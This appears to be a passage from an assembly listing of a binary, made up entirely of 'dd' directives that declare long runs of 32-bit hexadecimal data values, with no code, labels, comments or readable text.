		dd 3D5E992h, 8B5B2F64h,	559BC047h, 65DB39BBh, 990062CCh
		dd 0BD7A846Eh, 0FE00524Fh, 3A11E393h, 163E0CE1h, 6C8137h
		dd 0DC8EEAECh, 0CD033F08h, 89F194CBh, 0E8F9A39Dh, 3FB8FA1Fh
		dd 448266D1h, 0D04A6278h, 0ECF45741h, 6C009498h, 0A627A272h
		dd 8202B6h, 0A77B5676h,	0C097D69Ah, 490A0300h, 23EC7EEEh
		dd 6BAC000Bh, 8A5B8F21h, 0B3001466h, 0E12693DEh, 0F8AEB571h
		dd 942009Eh, 0FDB1222Ah, 0B4000156h, 0B586088Ah, 0F48D9B8Eh
		dd 0A87300FAh, 8459D024h, 4700AF8Ch, 0A2D32102h, 7242E1h
		dd 0F7FC540Eh, 5D240CD6h, 2278A00h, 2604A4BBh, 0B5180036h
		dd 0EA3CD81Eh, 0C00043CEh, 0CC7E461Bh, 3196ACFh, 9488992Dh
		dd 29CBC33Dh, 6263A8C8h, 0E134770Eh, 113F60FDh,	2C015Eh
		dd 2EDE74C3h, 8D4CC06Ah, 4950BB0Eh, 38D5C0F8h, 30D48AFh
		dd 0CCA6A162h, 0ED881771h, 0C103EE8Dh, 0A241A50Fh, 16C08584h
		dd 1336E3D1h, 0DCF067h,	0E4A6BFF6h, 761FC861h, 79C3035Ah
		dd 0E049CFAAh, 3B8D870h, 0C4943692h, 7AB80A4Fh,	0E800A052h
		dd 418C04ACh, 689EA4h, 797681A7h, 0A695E9F7h, 0F428F307h
		dd 4EC0C7EEh, 0F393C74h, 5BC019AFh, 5F12B5E0h, 33EC1069h
		dd 0D190E41Eh, 2C42DE47h, 153053F7h, 0FA2D2Bh, 9EC4B506h
		dd 0F8586630h, 0E4A52401h, 741D1B27h, 0F8DA5DE0h, 0F2340004h
		dd 0A29F7109h, 0E01DBCFBh, 320137DEh, 5B1487D0h, 0C080E89Eh
		dd 0B5517CA7h, 0E13B9C4Fh, 2E948799h, 0CAE0CEA1h, 0EAD9D2AFh
		dd 0C95C03D4h, 6EF4A690h, 2937C4E8h, 0D1538200h, 17C8E665h
		dd 481F009Eh, 8070EBDFh, 0AD7A9F3Bh, 0A2976C07h, 58C0A0A8h
		dd 0C09A79h, 603FABF7h,	37310E9Dh, 95CFE100h, 69FE4CE5h
		dd 0F3040382h, 1DCE2336h, 97D3CAD0h, 0AB3CBF00h, 53996E9h
		dd 7D24586Bh, 0FCD3B00h, 5D7A1E61h, 83D7F000h, 757EC2EFh
		dd 0A3FD0058h, 904CCEBEh
		dd 6400BD12h, 0B0507DC0h, 74EA14h, 68F3AB46h, 0B52FF4B1h
		dd 72768703h, 0E81A7A16h, 0F647F2h, 0F145B7CEh,	0FE088160h
		dd 0BE7CD600h, 4B56698Eh, 667030F8h, 0EBF04CC6h, 0F4231A1Eh
		dd 0F1862280h, 0D9D559h, 8B3457EAh, 23C98441h, 0DDF60800h
		dd 502DD3E1h, 365300DEh, 566869A7h, 1802336Ch, 152F5296h
		dd 0BCAFE0FDh, 34E390Bh, 19616B01h, 0C81276FCh,	88011389h
		dd 0C61D9AB0h, 98DBEE26h, 6ECBDDh, 0FC2D0560h, 9178E73Eh
		dd 561E5E00h, 444F3B98h, 4E0D03AAh, 7546A522h, 0A6DC18C8h
		dd 886A6502h, 0C0BEB77Fh, 0C474F6h, 0E162725Fh,	83059D43h
		dd 157501FAh, 0E909A7F4h, 820FADEAh, 0E074D646h, 596640h
		dd 0B29678BEh, 41DEF42Dh, 72DC9E00h, 9428372Fh,	1DEFE0D9h
		dd 80E786ECh, 699A59CEh, 5C0FC715h, 0A02CBC64h,	2B1B0120h
		dd 7CC80EC0h, 8D609103h, 5E926ED5h, 5DEEE104h, 268713A3h
		dd 9DA5C950h, 0EDE308Ah, 669B30C4h, 38AE6800h, 2384751Fh
		dd 0E70900BAh, 4365F3F0h, 610057C8h, 0C3330F41h, 0C67549h
		dd 18B3EC21h, 5FBC9563h, 0A71A5903h, 5D7811h, 9E4AFFA4h
		dd 31C05032h, 1C00F273h, 0C930ED93h, 59C429h, 5EDE4620h
		dd 4A448068h, 0AF638h, 0FB52B78Eh, 0C2A207h, 0BF63302Eh
		dd 6FD744BBh, 0E0B938h,	0B32DC59Bh, 0E2ACA69Ch,	0CFF3040Ch
		dd 0C068A95Fh, 518E984Bh, 550070B0h, 401B0AE8h,	717088h
		dd 0E3CAF8DDh, 0C0F18C0Bh, 2CFE4E5h, 0F68B990Fh, 0AE29805Fh
		dd 272324h, 0CA19892Ch,	1C1188Eh, 0D30660EFh, 0AB04B400h
		dd 4F4A0FF6h, 48253815h, 0E5C97300h, 321D8488h,	0AD3B700h
		dd 28ABB54h, 0A2D40022h, 82B97CCCh, 0E40036B2h,	4D28327Fh
		dd 0E62655h, 0D29C2D68h, 0CB44E3AEh, 840C7900h,	0C21BFF19h
		dd 6E6B000Dh, 2C4A6778h, 14EAA29Eh, 0A70B9400h,	0B138E51Ch
		dd 8E920013h, 73CF5A7Bh, 400EB81Eh, 0C0ADDB14h,	37BB711Ah
		dd 0EA530006h, 7947733Bh, 0CE001F12h, 0B1028DFBh, 7DCCC3Ch
		dd 49E0EAB0h, 0E5DBE092h, 6BFA26AEh, 0C251C00h,	0EEB747A1h
		dd 0D77C0001h, 408C978Bh, 7E027621h, 93221BCEh,	4987403Ch
		dd 0E67389h, 31F195BFh,	0DC2D616Dh, 0A83BB00h, 43AD136Bh
		dd 3D4EF892h, 3B80A5C2h, 5A5B2D8Dh, 3E026B54h, 2F66432Eh
		dd 3A0CE0BBh, 0C0D60095h, 0B821364Eh, 8D715CA8h, 868B5400h
		dd 17795B7Eh, 68821D55h, 0BCB1C091h, 353FD860h,	0CE758790h
		dd 0AB38BB00h, 746C3C95h, 0D4390734h, 40A01F20h, 0C067325Ah
		dd 4980009Fh, 719F7264h, 0C7410031h, 7F95E7B9h,	0DB002F3Ch
		dd 0BE9A02A7h, 0F0F3FB60h, 758D0027h, 4468CBCEh, 0D6005572h
		dd 89743C06h, 26629021h, 0AAB109h, 923BE384h, 7F020CA5h
		dd 4D9B3A44h, 0C6BD608Bh, 0C07238h, 232D3B57h, 4A564164h
		dd 3C44AC00h, 92EAA6AFh, 0D2DC00A1h, 7DBE4962h,	0C91C91A7h
		dd 0DAC086C0h, 2A1C39D5h, 6EAD3AD0h, 0ABBC7784h, 0C685DFh
		dd 40F65F62h, 1200E605h, 2764D007h, 7C19DAh, 0E946F968h
		dd 42210365h, 480F8F03h, 0E0CEDEDCh, 1FEE67h, 0FEC64BB6h
		dd 75613B4Ah, 801C2C00h, 0B41D6F57h, 33D50022h,	0D92A665Fh
		dd 293E647Ah, 0D2D88096h, 53A9E588h, 0C52207DEh, 3EA18BEh
		dd 4CD89E71h, 0E00ECB4h, 3B413DDFh, 0E8939640h,	3F61EE6h
		dd 0C62780F0h, 86D79937h, 0B489E21Dh, 0C1D9F1C7h, 99C01E65h
		dd 7490408h, 0AB214FB3h, 0F917735Fh, 0D55E76D8h, 0FA2E1300h
		dd 0CCC07CA5h, 0E4C00A2h, 23B87284h, 0F0BF3618h, 0CDED032Ah
		dd 3A4768B3h, 547A5690h, 0CF4C0900h, 0C4109FCCh, 60293EB1h
		dd 0D3A24800h, 0B75AA48Ch, 0C10FDA00h, 4FD0981Fh, 0A8BC007Bh
		dd 0D1E7CB71h, 5200C9FCh, 0F0E39B76h, 0BDF328h,	6F8518DBh
		dd 0DDBBB30Fh, 66C039h,	9464F9F4h, 5784C8h, 3E9CC2A1h
		dd 24659E58h, 3CFD3204h, 4EC0239Ah, 6E2B8Dh, 6B01A431h
		dd 0D84A7848h, 12D9A300h, 7043C4ACh, 0E18900CDh, 0A8D4E222h
		dd 0A100B09Dh, 0A57C30FCh, 1FD34098h, 40213E35h, 45AE01D7h
		dd 0A800CD1Bh, 33288C51h, 483D3B36h, 4660E67Bh,	640793B0h
		dd 0B6A8E01h, 38C1E843h, 5ABBF0h, 886604BFh, 0E94E2558h
		dd 790FB43Ah, 1993EC17h, 81BDF300h, 313B7FCh, 57FEC4AEh
		dd 385ED45h, 5163FDB0h,	707CBDA8h, 781EAA02h, 0E0C119EEh
		dd 1EFDD20Fh, 7E8D6421h, 0BC1B4380h, 0ABF606ACh, 7533A400h
		dd 1A78419Ah, 0EE2E4C8h, 794C90AAh, 12613160h, 0EC0F5923h
		dd 60723874h, 8B35986Dh, 764F16F5h, 0C600BBA4h,	2E44D583h
		dd 0EE500099h, 0E3718D81h, 450014F1h, 625CD776h, 1EF26030h
		dd 4082DE16h, 8B155D38h, 79073D3Fh, 2399C99h, 3730D1F0h
		dd 2F7E0078h, 8E0A76A1h, 7200C531h, 41F5B908h, 7435363h
		dd 747D6673h, 0BF4ED0B0h, 30E45DBDh, 0CEB65B00h, 5C51F6ECh
		dd 2ACB07FFh, 0E1166B07h, 3E75E939h, 0FA36B0h, 40A63DD4h
		dd 20370261h, 14A15E00h, 75665A1Ch, 0F4EA50h, 8273D89Fh
		dd 0FF7DD106h, 0F69E6307h, 1BF027E8h, 7A232266h, 0ABB60067h
		dd 7D12F170h, 0D9F437D7h, 3BEE3F00h, 0D0A235C8h, 65C300BDh
		dd 391E7B9Ch, 1D7C5BE8h, 9182100Fh, 0F5A1214Bh,	0D360CE96h
		dd 81DA3E77h, 0CA7CF80h, 0E139F45Eh, 0B394BE00h, 53A1344Dh
		dd 9AC80037h, 0F7FD8092h, 0BB002D9Fh, 0E76C398Eh, 0E8E076h
		dd 6F78E66Dh, 419FF5C5h, 6200377Fh, 3FBAF953h, 0CAC829h
		dd 769691AFh, 0F30E774Dh, 0B5329200h, 0D2D5F280h, 8A230026h
		dd 6E997D56h, 0F4006CB2h, 54FB4686h, 602DB640h,	49A62EAh
		dd 0F800ABEFh, 227A34B1h, 1F1DE9h, 99E61A6Bh, 819F2FD9h
		dd 6F3DB703h, 887B67C3h, 0AF4F7Fh, 25CD7C5Eh, 1DBC690Eh
		dd 4B1BBA00h, 0E315BFD0h, 4E1100EBh, 0B4CA6DB7h, 0F30139DAh
		dd 62DBFB7Ch, 0B887D302h, 0A0331EA5h, 73E24558h, 0BD0ED038h
		dd 0C2CC89C4h, 397A80E7h, 76616B5h, 0B09C1D13h,	604D27C5h
		dd 371A564Ah, 0AC572607h, 88304784h, 3604BBh, 25D71C6Dh
		dd 632F5B20h, 0F8965600h, 0A982090Ah, 6E8C0765h, 205AFBB8h
		dd 9212BB2Eh, 321E2500h, 80384B5Fh, 9343000Ah, 0D6D8C16Ch
		dd 99008B26h, 0F7FC60F8h, 78B94DEEh, 2A11001Eh,	675CDE19h
		dd 960E950Ah, 0A07E2EE3h, 8D69364Dh, 0BF860037h, 0A7D44C41h
		dd 2E00980Eh, 87057BEh,	0B09359B3h, 0DBE01FB4h,	0E4B9BE4Fh
		dd 0C9D43B8Fh, 17B128E0h, 94000F37h, 6B0952B6h,	7D7BA2Eh
		dd 0E791EF69h, 0F54F50FBh, 2006557h, 0CF09B813h, 8D514h
		dd 2D7775F1h, 0DFB9B140h, 0C8509C00h, 2CC561E0h, 0C3363FF3h
		dd 0E60C007Fh, 3835EBC7h, 4A07DCACh, 24096BD5h,	639D0D40h
		dd 10800EFh, 807A6453h,	0C902A9E4h, 32EB776Bh, 3561E0AEh
		dd 37625CF4h, 1E81D53Ah, 34D623ADh, 0E9033014h,	101E607Dh
		dd 80FC065Bh, 7EFFD7DFh, 9E2563h, 3BC32889h, 485999A8h
		dd 9C07B200h, 262B8A83h, 6B3F007Bh, 9A6511E3h, 0C4ECE18Eh
		dd 0E290C500h, 0DC39BE4Dh, 370C2h, 0B07A1668h, 0B4C31AEDh
		dd 0F605F20Bh, 264B83D6h, 0C0BDA322h, 6DB677h, 754D2AA0h
		dd 0C003418Eh, 729EF800h, 393B5B5Eh, 49A500D3h,	0DC9F63D1h
		dd 0CF00F638h, 8FDDC3CDh, 0EAD24Ch, 7CD9B191h, 29793140h
		dd 4300EC79h, 0E39D8369h, 630AD0h, 427A14C1h, 0BB38B5B4h
		dd 1C58A900h, 86D068A2h, 17F27063h, 96AC41h, 4776433Dh
		dd 0F1001C81h, 0DEFBAD34h
		dd 98247Ch, 0F0C5B1Eh, 0C64C592Bh, 83D8583Ch, 47298B5Ch
		dd 9052F89Bh, 0DF980112h, 0CA728D56h, 0D7AFECA5h, 0F120B700h
		dd 0C152DE82h, 6A5501A9h, 0C9D84B5Ch, 0BD792097h, 0C6ABEA00h
		dd 4CA5090Ch, 0A4E054h,	8620921Bh, 3C195781h, 80D9AC38h
		dd 71C6E68Dh, 3AF03F7h,	49400AFFh, 578F57B9h, 24B710E9h
		dd 0AB005C3Dh, 2F77355Dh, 0FAF95h, 3B97ECF1h, 0F0C6B551h
		dd 0E3F9FF00h, 93992679h, 0E7E9007Fh, 6F48555Ch, 84004265h
		dd 7B7C37EEh, 47B0FFh, 32BF4BABh, 8978139Ah, 7570AD00h
		dd 0E8B171FDh, 769843h,	0ACF9811h, 0F1F90496h, 8E59911Ch
		dd 0C88BF4C0h, 0EBC1D0EFh, 90FF3A20h, 3A7B0025h, 0D6A72438h
		dd 330EF05Eh, 87819BA2h, 350291Ch, 3C85FB83h, 0C500D937h
		dd 84D51FE9h, 800EDBEh,	6F6AB04Ah, 0C9EA06h, 5DA2D87Bh
		dd 2212053Ch, 8C03A600h, 3B67A118h, 166FCD2h, 305315E2h
		dd 0D55B84A8h, 0DCFF098h, 0A0AE3701h, 5A9AC3BFh, 1D0327E8h
		dd 0C0C4AD78h, 39B865E9h, 96283233h, 0A103FA3Fh, 1211A702h
		dd 930DB06Dh, 0EB1C00BCh, 0D6992A88h, 32177719h, 9F0089EEh
		dd 1B51D56Bh, 0C359009Ch, 0A8E8876h, 7C7B5394h,	3D00FD79h
		dd 0DACE0BE3h, 0DFBC87h, 14AA8E5Fh, 4274EA3Eh, 2C13A00h
		dd 0B212E44Bh, 0E8DB00F7h, 292F70E9h, 0B503D56h, 0A63CC78Dh
		dd 0B55480F8h, 49A7211Ah, 0DA3C1C04h, 70BB03C0h, 0F0C874CFh
		dd 0A1004231h, 2A78D535h, 1BA8C7h, 5FFEA95Eh, 0F99A7BF5h
		dd 0CD39E1Fh, 0C06FF08Eh, 0DA53209h, 6EEB3F7Dh,	0C1BD5000h
		dd 21891147h, 0FC0EA11Fh, 23E94C0h, 18D963h, 278EEE4Ah
		dd 957CBE36h, 0D1211900h, 5DC6B715h, 432C00C7h,	53ACFE2Ah
		dd 4B1DEE22h, 0E00B326h, 9957B1C9h, 11ED01D0h, 0D983A7DEh
		dd 0AE9BD06Ah, 0BCDBE100h, 0F5924544h, 5E93009Dh, 7B35D7Fh
		dd 6C1F5901h, 0C00E9C02h, 5504A1E2h, 0E20C537h,	0E381C92h
		dd 527140A0h, 309769F8h, 3933EC01h, 0EA04FB13h,	17BECCh
		dd 608FF5E7h, 0EBE4C080h, 0B1A038h, 3D126A94h, 3BFFB366h
		dd 838F5051h, 0BE00CC44h, 952B3155h, 7C1CE400h,	0EFF7F3D2h
		dd 440B5867h, 0C1E82800h, 58B3FE68h, 0C28C3B01h, 0D29241D7h
		dd 1D06831h, 954800A3h,	0E42AE95Eh, 0DE000E5Fh,	231ACE8Ch
		dd 0B07F151Ch, 798600EFh, 7A4FDFC8h, 0FC007C17h, 0CF36599Dh
		dd 9ED591h, 7527EA4Ch, 0DB546997h, 0A4B60807h, 0F4B0822Ah
		dd 0BA8A3Bh, 7A59CAAh, 0DEC5BFEh, 310074EEh, 199F13BFh
		dd 0E2CFA2Fh, 0CF1D39DDh, 0C3910820h, 24000272h, 96E2895Ah
		dd 3DA8682Eh, 1600882Ch, 7E067865h, 7FB8B39Ch, 0EC674A00h
		dd 31FBE0BBh, 874D0072h, 250BA9D3h, 96006FEFh, 7EB6229Dh
		dd 18B17F8h, 0F6B84EACh, 0C5A67516h, 7AA8F83Dh,	615E3600h
		dd 300DE88Ch, 423900C7h, 23F197AAh, 1A243519h, 2100E033h
		dd 84557D28h, 448D007Eh, 4D675975h, 7A035048h, 0C7EC6324h
		dd 99D2A072h, 0FCE7EC2h, 69AA79AFh, 0EB4AF0A0h,	0D4003ED7h
		dd 8CFEF571h, 4E45DAh, 4C1D0BFFh, 0AF212CE7h, 8292B00h
		dd 0E24061A9h, 4B960FD1h, 0D42028B7h, 0F512D3BDh, 120100Eh
		dd 733A04Ah, 58632D49h,	2F1CF0C4h, 594CCA99h, 526500D1h
		dd 0A69A3B76h, 5C14A23Ah, 20B00070h, 4033F4D9h,	3857002Ch
		dd 674E66B9h, 2B013E3Ch, 0CC7E9A25h, 0E0DEDFE8h, 3D49DCh
		dd 1F0C32C6h, 98F8AB31h, 0A90029FEh, 0D46DD6D5h, 5F8094h
		dd 0B81A3B6Ah, 71A7BE79h, 0FCC92A13h, 7030B400h, 48059096h
		dd 0C5030FE8h, 64B63F0Bh, 7B3AB3C8h, 1CF5E00h, 0C9C1D596h
		dd 0DB6600D8h, 0A90C1A65h, 790FAA75h, 60B8F3E4h, 57AF7487h
		dd 0B812DD9h, 7700A87Ch, 0DECE4170h, 0CB3400E8h, 0DA32DB0Ch
		dd 0B4059EFDh, 16BD53C2h, 798E9A07h, 31CD80D9h,	8C5DD9h
		dd 1CF81437h, 6AB222A0h, 0CEFACD00h, 0A3333BE0h, 8E0E07B8h
		dd 23C8FB50h, 3781B9FCh, 0B388E4F0h, 0AA0FA87Dh, 6025BF85h
		dd 23D07362h, 4B0B02B7h, 0F3EE0D87h, 6500ADF8h,	0C1B8487Dh
		dd 781C63h, 0A3F709EFh,	8C0B477Fh, 8B14661Eh, 3C380680h
		dd 6BF8FEh, 0EEB29B5Ah,	794B4E50h, 0DC1A8D1Eh, 5B6CE600h
		dd 0F28246h, 0A35E982Fh, 91990EAFh, 2340D703h, 0B8CCB473h
		dd 0EAE01Eh, 9AC1208Ah,	76A10F75h, 1C948900h, 6756BD23h
		dd 129E01F5h, 0D3482CF3h, 6EF6F43Fh, 800F931Fh,	6CD20A00h
		dd 0E9E1Bh, 65CA57Dh, 1513DABDh, 17478500h, 0CDDDCA1Ch
		dd 27C70093h, 0E92F5FB9h, 0A2004DF8h, 5DF9E1C3h, 3DC81Bh
		dd 0BA07DF7Bh, 62276C39h, 1D3FE5Ch, 0BBEBF1C0h,	9FC9BD34h
		dd 8C56E8h, 0C62004FAh,	6F8E19D7h, 52794900h, 0F6CF1ADBh
		dd 0EA0500B4h, 0E8C412F9h, 0DF7836CEh, 0A6000471h, 47268F4Eh
		dd 0A12B41h, 469F9D7Fh,	22DFEAD0h, 0B156E628h, 0B41BD8FFh
		dd 430084E0h, 0BB6C1D33h, 0E72D2Ch, 49ACA810h, 2530C84Bh
		dd 795A5D1Eh, 92727500h, 0F9A9FCh, 0E47C1811h, 8568DD07h
		dd 0C177DF1Eh, 21F00Fh,	0E2FE06F8h, 0D9644CEEh,	93C50E7Ah
		dd 1220B3h, 0B0C0A2A1h,	0DE008772h, 165074B2h, 0B82E42h
		dd 17F6C1D9h, 5DE48D05h, 8091C238h, 0D0BC1DD3h,	0F8219CAh
		dd 98A36DFDh, 0CB590AE0h, 0A61D348Eh, 94406895h, 441E7F2Bh
		dd 19510793h, 30579760h, 0E080AF5Eh, 0D9229400h, 1C84C301h
		dd 0FA310046h, 0F4564CE3h, 2A0067D3h, 98E2A155h, 297B36h
		dd 3423546Fh, 0F03AE969h, 815C3Ah, 43F7DF1Ch, 3C81EB7h
		dd 7F6D760Ah, 34D049B2h, 4DF8CD0Fh, 336A9F0Fh, 80108077h
		dd 0E22371Bh, 157C285h,	5A02807Eh, 29CEE6DCh, 0C49C4D07h
		dd 0C0F0B5A7h, 0E3D767h, 414B2B63h, 39662918h, 1B6848h
		dd 0DA8ABF6Ch, 7D18B7Ah, 51BE4E54h, 0CBBB501Dh,	2539BD3Eh
		dd 550E7CD9h, 0A04B587Fh, 0AF9D7976h, 6E140008h, 8AF2622Ah
		dd 9C776D5Fh, 57FECF02h, 401CD696h, 3ECBE3C3h, 0BB81C709h
		dd 0F47E2110h, 0AAA07FFFh, 0CF5B07D5h, 207620DDh, 7162A9DAh
		dd 376548h, 1BBD884h, 1D267D9Ah, 0E133B9h, 0B6965B2Ah
		dd 0E200A2C1h, 743ECA47h, 9AA2F2Eh, 85A76DC5h, 0A9B4B200h
		dd 8400AD16h, 0D05D6140h, 0C05F7Fh, 0E2A5505Bh,	0ED2497C7h
		dd 38C4Ch, 17DEB662h, 7039315Ah, 0E5D5009Dh, 9E122540h
		dd 891EBD28h, 0AE800B1Ah, 1E74DABEh, 62E90315h,	0BC45D067h
		dd 3DA2FFB0h, 0A7D11900h, 2452E26Fh, 17B10072h,	0EA381C32h
		dd 5F007ED9h, 0F3E3420Fh, 3B84A003h, 0C01FC9E0h, 5751CF55h
		dd 0DABA3A0h, 160040F6h, 1C8E549Ch, 5DD50Bh, 926FB532h
		dd 35E476D3h, 2A84C500h, 6AC396E0h, 0C64200D6h,	0ACE7E26Bh
		dd 0F1004C69h, 0BCA4656h, 0E81657h, 373FF038h, 0D09CBF12h
		dd 493C4201h, 89942B52h, 78EFCCh, 9B17DFB9h, 16CB8B2Fh
		dd 2A529916h, 0C8FF8400h, 62F086h, 9CF4F5BDh, 5DC512EBh
		dd 7A1DF600h, 4BC8BF4Ah, 0AFC03E4Ch, 3BB44080h,	5E27CADCh
		dd 5DA4F400h, 0B6576468h, 0A0290075h, 0EE409E53h, 0E8054CFCh
		dd 34C92DCCh, 454AB280h, 326600FDh, 0CD174873h,	0A2266D2Fh
		dd 0FE008512h, 0B03B8FF0h, 11D700D1h, 0F5D66FF3h, 0BE1754E4h
		dd 47002548h, 627379C6h, 0CBEB00CDh, 8E514F1Bh,	0FF1C7B08h
		dd 8CCEACC5h, 0DCF0C727h, 0E79610F0h, 0E3AD09BDh, 0B6000EABh
		dd 6979C32Eh, 32B06303h, 88F3C03Dh, 5858C924h, 7886DBh
		dd 0AC69C491h, 5915974Bh
		dd 47387300h, 9EC9A901h, 0E8F4E6B1h, 0E4AEFE9Dh, 3370040h
		dd 955B5E7h, 11179F36h,	1010F87h, 7FF97B49h, 50D9C02Fh
		dd 0C1F2F5F8h, 7905C300h, 0B51E47B9h, 41A9001Ah, 0EF2080B4h
		dd 0BE904E9Fh, 0CF86B600h, 0D85A592Dh, 0FD5C0722h, 506176DBh
		dd 7D7C2F47h, 83A59500h, 2150C12Ch, 97200072h, 1E94CDC6h
		dd 0B3FC34D2h, 2EBC670Bh, 6FDF00ACh, 7199C929h,	97980045h
		dd 0CE5590FDh, 320559F8h, 372AEA35h, 299D81AFh,	4D91CFF2h
		dd 76A5E4D7h, 38F94Ch, 0CA375E3h, 751D9486h, 1C7C009Bh
		dd 52030922h, 0CF00DD51h, 0B0CCE0C7h, 0CA3258h,	0EC9ABF91h
		dd 3D829B5Ch, 1BE66907h, 0B69062BCh, 0A74413h, 92203EF7h
		dd 35D3574Dh, 0F4027678h, 67D09646h, 0F8ADE053h, 7B600E5h
		dd 72C4CD95h, 19ECA7F6h, 0F9000FB0h, 2D3AF06Bh,	0CA45C7h
		dd 2AA04F7h, 0E5D1A771h, 69BC1E00h, 617446Bh, 0FFEC004Eh
		dd 0E878E9BDh, 58024297h, 8BCBA298h, 0A6006026h, 65010172h
		dd 9A9D6E8Dh, 0ED69CCD4h, 6CFA3207h, 4C30AAFDh,	74D5B98h
		dd 9155D026h, 0F3F260B8h, 701D2D1Ch, 0E300ABDBh, 97B45447h
		dd 3414035Ah, 2E7C697Fh, 0F55FB698h, 1D6A0C48h,	3C40D1BCh
		dd 0EE6D479Eh, 0AFFC00A9h, 0F89D5E2Dh, 720022CCh, 9712FB45h
		dd 0A6B159h, 0DB1603BFh, 4E5A811Ch, 980C9A00h, 4134AB35h
		dd 699C0083h, 0ED779267h, 82008E2Ch, 0F0E06AEEh, 1D254980h
		dd 7117E8Ch, 95954D89h,	98D2815Eh, 0D61E9h, 42A581E9h
		dd 29F73600h, 0AF381082h, 0DF0100D7h, 0FB641F65h, 0CB7285ABh
		dd 0ADFA4Ch, 0C2F50725h, 79E1BB37h, 82701C2Dh, 134040E7h
		dd 5D6B1F87h, 373A3400h, 4367A25Eh, 9DD80074h, 0D34D3633h
		dd 0F9020930h, 0AC16E76Ch, 0E1B14062h, 0F1290E94h, 44E0257Bh
		dd 3DA045BCh, 0F4001BEAh, 835B1A05h, 18D567h, 68A59A8Ch
		dd 2C77544Eh, 0CCEC7301h, 0C304C4D4h, 8A76C8h, 51EA4642h
		dd 0D9430CBEh, 7C2BE503h, 813267A9h, 6F305EA2h,	0A33B0F17h
		dd 0A4FF2629h, 274005Ah, 0F498969Ah, 4C0B4A00h,	32F3FD1Ah
		dd 2AE2A9h, 0FF4280A5h,	21D0F7B8h, 2C94C01Ch, 0B6888C0h
		dd 1D7E095Eh, 80176BC9h, 0AADA85A8h, 7A00169Eh,	51B910C7h
		dd 744F890Bh, 0D177000Eh, 938CF0CDh, 0C7E6D8CCh, 46408E00h
		dd 8ACB910Dh, 0B60500AEh, 7BDD7238h, 1F09FB26h,	43241D58h
		dd 0E8E99846h, 0F14B84Dh, 837FB0F1h, 652F6D20h,	0B900AB75h
		dd 3E484FFCh, 0EB2C85h,	99E9571h, 6267366Ch, 8A11E600h
		dd 1B43C881h, 7EC407BBh, 6093F40Fh, 0E3920FBh, 0D0A8500h
		dd 0EB10A42Eh, 4B34008Bh, 8825947Dh, 0CC128424h, 9A0783DDh
		dd 3E50B3FEh, 51073Fh, 36851140h, 0F99D4E17h, 4900EE72h
		dd 0F7667BE4h, 0DE0121h, 50F0A53Fh, 1BEA51E7h, 0C1D21C00h
		dd 2CEFBF69h, 2F6007Eh,	47435EE6h, 8400FD3Fh, 0CA80F5FEh
		dd 1C856DBh, 863ED8Ah, 401B1659h, 0E7F673E4h, 0A3050702h
		dd 4002AC75h, 0B2F44Bh,	0DF1535BAh, 60CB170h, 80EAE039h
		dd 0B6A886EFh, 50FB72A9h, 0DF442h, 0EA986BE5h, 0FC5CD7F9h
		dd 0CCC67000h, 37FF7C21h, 76530041h, 0B19AF6A0h, 0E00F446h
		dd 81B8F07Eh, 1ED6E04h,	0EE3E7FA4h, 0C8D634A7h,	4E1D5CDFh
		dd 0E900B268h, 103D6D60h, 27D3008Fh, 8703301Fh,	0E70E55C3h
		dd 21B5DAE2h, 7BF9F862h, 95EBD8h, 9DA645DEh, 0EC8767F0h
		dd 150C720Ah, 0E503C133h, 90CF6265h, 9DB25B2h, 1879806Ah
		dd 0E25F2780h, 0FAE038D9h, 8039C63Dh, 748B78DEh, 1F59023h
		dd 0C5496B6Ch, 0E8C11AF6h, 87F89926h, 5F5CB5E2h, 0DC0E0080h
		dd 61059FD2h, 41B90729h, 40769EC1h, 0B4E12F3Dh,	0A2D31207h
		dd 600FE16h, 0A01EABh, 0CB835473h, 0C474A61Ch, 3F2D2F03h
		dd 0E8666421h, 0D95979h, 0F8C9258Bh, 0CAE35A2h,	0D300CFEAh
		dd 6062068Eh, 92A1A3h, 0F7A4DCF9h, 26F27B4Dh, 249D6A00h
		dd 0E95E4B88h, 69A60096h, 2925A2B9h, 0CD002AF6h, 0E4BF983Bh
		dd 1DFC6B0Bh, 3EC14Eh, 54E08EAAh, 7601A4A0h, 0F2788B26h
		dd 4F30C275h, 83C100C9h, 1EE0CBABh, 1200F107h, 5F889AAFh
		dd 7515163Dh, 7F5D0030h, 34CC9CC9h, 0FE641DAh, 6E4F2600h
		dd 8139BE90h, 5DEF00F0h, 1C67F59h, 82EE1622h, 8534F200h
		dd 0FDB87329h, 9A0800F8h, 0D6BB2677h, 0D40318FCh, 88C7E641h
		dd 8FEBF058h, 17F07h, 1259BF80h, 16A12F30h, 0D05F2909h
		dd 8B91894Bh, 0C6F800C9h, 1C42B322h, 0D89CEEh, 0E884883Eh
		dd 57F250CBh, 10009D7Dh, 8E9A3D2Bh, 0CE7771h, 4CCCC57Bh
		dd 0FCA507AAh, 3AC96800h, 2556801Ah, 0A8D30082h, 3F94042Ah
		dd 0C6017EE7h, 58A97303h, 3770E2C9h, 0A2050065h, 393EC08Eh
		dd 0F1177815h, 0D1DE161h, 11DF807Ch, 0E2727EBFh, 0DA12001Ah
		dd 0F979245Ch, 2C00D182h, 3CE64D5h, 1C66A7D7h, 4AA297h
		dd 29242390h, 3BE6AC86h, 0B7AB2B00h, 0B9E85099h, 15EEF0h
		dd 0F1386D2Fh, 0ECBF3CDBh, 0E455A200h, 98B9800Dh, 0CF740090h
		dd 73F43344h, 0D01D7928h, 0D9053B8Ah, 0F9802AD8h, 7D0A4Eh
		dd 0CABDC6A5h, 5D042CAFh, 59F69203h, 0C8B9E4EAh, 864B0Fh
		dd 6A13DABBh, 2A53933Dh, 1A007E7Bh, 54F98536h, 64DD7Dh
		dd 0A1CE83B2h, 2BE2CDBBh, 82301800h, 7498A061h,	0D7020058h
		dd 0D69BC762h, 15001AEEh, 3A77F86Dh, 3939EA81h,	0FB0F0CAAh
		dd 402017E1h, 203AE3Fh,	99F5500h, 823BA913h, 0FD831F37h
		dd 0CA980ECDh, 15AEA620h, 0B0002D9Dh, 0FE60852h, 0F9A9B40h
		dd 0D3B468AAh, 71E041CEh, 0E076954Ah, 0E600DFF6h, 2D1463F6h
		dd 453593h, 5EF233A8h, 1851A70Ah, 543D1312h, 946BE100h
		dd 0F5CC29Ah, 0A7602F04h, 0F0ACDAE1h, 44033A3Ch, 0D8A51D7Bh
		dd 5ECFE2h, 9EDB203h, 0D20EF764h, 0E7060F00h, 0D6E901B5h
		dd 90F90060h, 0B488E19Bh, 7100B768h, 618C2280h,	0A0BFF8D8h
		dd 3F6596ECh, 0F98034BDh, 0A97B862Ch, 6C00B6E8h, 3982B901h
